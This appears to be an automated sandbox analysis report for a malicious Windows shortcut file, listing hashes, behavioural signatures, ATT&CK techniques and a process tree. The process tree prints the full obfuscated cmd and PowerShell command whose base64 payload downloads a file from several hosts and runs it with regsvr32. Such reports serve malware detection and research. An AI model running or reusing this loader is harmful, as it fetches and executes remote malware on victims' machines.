2fb4559060181f670d6da3edb6712587a571f2e85c99c79b0ab641f566c09df7

General

Target
2fb4559060181f670d6da3edb6712587a571f2e85c99c79b0ab641f566c09df7.lnk
Size 2KB
Sample241113-vtedkawern
SHA256 2fb4559060181f670d6da3edb6712587a571f2e85c99c79b0ab641f566c09df7
MD5 d1e02d88f472cd4c85e918bb24804c56
SHA1 fc78b8a306ecc5ad36c54c9b2dcd512f9affed40
SHA512 a76cb20c5bf5415367286f2515150bca686e6f483a4a45cc66eaf89d3f072f6453311c3cb2247c687254a3ddfd6ca6a9a7c7eb43e01bce6446ba320c19c7ecab
MD5 SHA1 SHA512

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 16 IoCs

flow	pid	Process
11	1168	powershell.exe
15	1168	powershell.exe
20	1168	powershell.exe
21	1168	powershell.exe
23	1168	powershell.exe
25	1168	powershell.exe
28	1168	powershell.exe
29	1168	powershell.exe
34	1168	powershell.exe
35	1168	powershell.exe
38	1168	powershell.exe
40	1168	powershell.exe
45	1168	powershell.exe
46	1168	powershell.exe
48	1168	powershell.exe
49	1168	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1168	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
1172	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1168	powershell.exe
1168	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1168	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 1172	4104	cmd.exe	84
PID 4104 wrote to memory of 1172	4104	cmd.exe	84
PID 1172 wrote to memory of 1168	1172	cmd.exe	85
PID 1172 wrote to memory of 1168	1172	cmd.exe	85
PID 1168 wrote to memory of 3508	1168	powershell.exe	95
PID 1168 wrote to memory of 3508	1168	powershell.exe	95

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2fb4559060181f670d6da3edb6712587a571f2e85c99c79b0ab641f566c09df7.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /v:on /c vVt/kXocJ73SsfdViAAUJCtZknGJS3oQu9UCpkzF2GcAgFhQG3lDjhJFYXP+83McKtu4ffC8||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$xW='ICAgICAgV3JpdGUtSG9zdCAiclRnU0UiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYXN0ZXJmbGl4LmNvbS9PdmVydmlldy9RQTRTRTBEeENDRlM1VzhueEcvIiwiaHR0cDovL21hc3l1ay5jb20vNTgxdm95emUvQ1MvIiwiaHR0cDovL2xla2Fya2l2ZXQuc2UvaW5jbHVkZXMvbENZejNPMDdEMENtQVMvIiwiaHR0cDovL21hcnR5ci5kay94Mmhka2o1ZS8iLCJodHRwOi8vbWFydGluZ3JhbnQuY29tL2NnaS1iaW4veFJKWTEvIiwiaHR0cDovL2xlbW9uY2luZS5jb20vY3NzL2xqSXl5SEZ0dDZHSE9WZHdsSmIvIiwiaHR0cDovL21hbmRvbS5jby5pZC9hc3NldHMvZWpldnc4MktKNlZZRHpaWTNPLyIpOyR0PSJJd25NcyI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxjSEtFc3RqaGZKLnVERDtSZWdzdnIzMi5leGUgIiRkXGNIS0VzdGpoZkoudUREIjticmVha30gY2F0Y2ggeyB9fQ==';$Ma=[System.Convert]::FromBase64String($xW);$Hw=[System.Text.Encoding]::ASCII.GetString($Ma); iex ($Hw)}"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "&{$xW='ICAgICAgV3JpdGUtSG9zdCAiclRnU0UiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYXN0ZXJmbGl4LmNvbS9PdmVydmlldy9RQTRTRTBEeENDRlM1VzhueEcvIiwiaHR0cDovL21hc3l1ay5jb20vNTgxdm95emUvQ1MvIiwiaHR0cDovL2xla2Fya2l2ZXQuc2UvaW5jbHVkZXMvbENZejNPMDdEMENtQVMvIiwiaHR0cDovL21hcnR5ci5kay94Mmhka2o1ZS8iLCJodHRwOi8vbWFydGluZ3JhbnQuY29tL2NnaS1iaW4veFJKWTEvIiwiaHR0cDovL2xlbW9uY2luZS5jb20vY3NzL2xqSXl5SEZ0dDZHSE9WZHdsSmIvIiwiaHR0cDovL21hbmRvbS5jby5pZC9hc3NldHMvZWpldnc4MktKNlZZRHpaWTNPLyIpOyR0PSJJd25NcyI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxjSEtFc3RqaGZKLnVERDtSZWdzdnIzMi5leGUgIiRkXGNIS0VzdGpoZkoudUREIjticmVha30gY2F0Y2ggeyB9fQ==';$Ma=[System.Convert]::FromBase64String($xW);$Hw=[System.Text.Encoding]::ASCII.GetString($Ma); iex ($Hw)}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\system32\regsvr32.exe
      "C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\..\IwnMs\cHKEstjhfJ.uDD
      4⤵
      PID:3508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

cHKEstjhfJ.uDD

Path C:\Users\Admin\AppData\Local\IwnMs\cHKEstjhfJ.uDD
Size 1KB
SHA256 bd19fca5c89301abcf7cceaa75294bc7981f1a4bea7ffeb29260c9716960f761
MD5 9e9b48ae75ae39fd45ebf6799c9668d8
SHA1 7ed5cac9a268359ac09719dbbf354a83c23b1236
SHA512 c4b49773eba7ac113669f30444142bfb830b51f577795bcce45ebe382271f2f07a785fe47d10b5d18817e13bb7551563814552d174eee9f6e6f08c448ab31723
MD5 SHA1 SHA512

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__PSScriptPolicyTest_0ckt3afu.35i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ckt3afu.35i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1168-0-0x00007FF827EC3000-0x00007FF827EC5000-memory.dmp

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memory/1168-1-0x000002BBB29F0000-0x000002BBB2A12000-memory.dmp

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memory/1168-11-0x00007FF827EC0000-0x00007FF828981000-memory.dmp

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memory/1168-12-0x00007FF827EC0000-0x00007FF828981000-memory.dmp

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memory/1168-13-0x000002BBB36A0000-0x000002BBB3E46000-memory.dmp

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memory/1168-40-0x00007FF827EC0000-0x00007FF828981000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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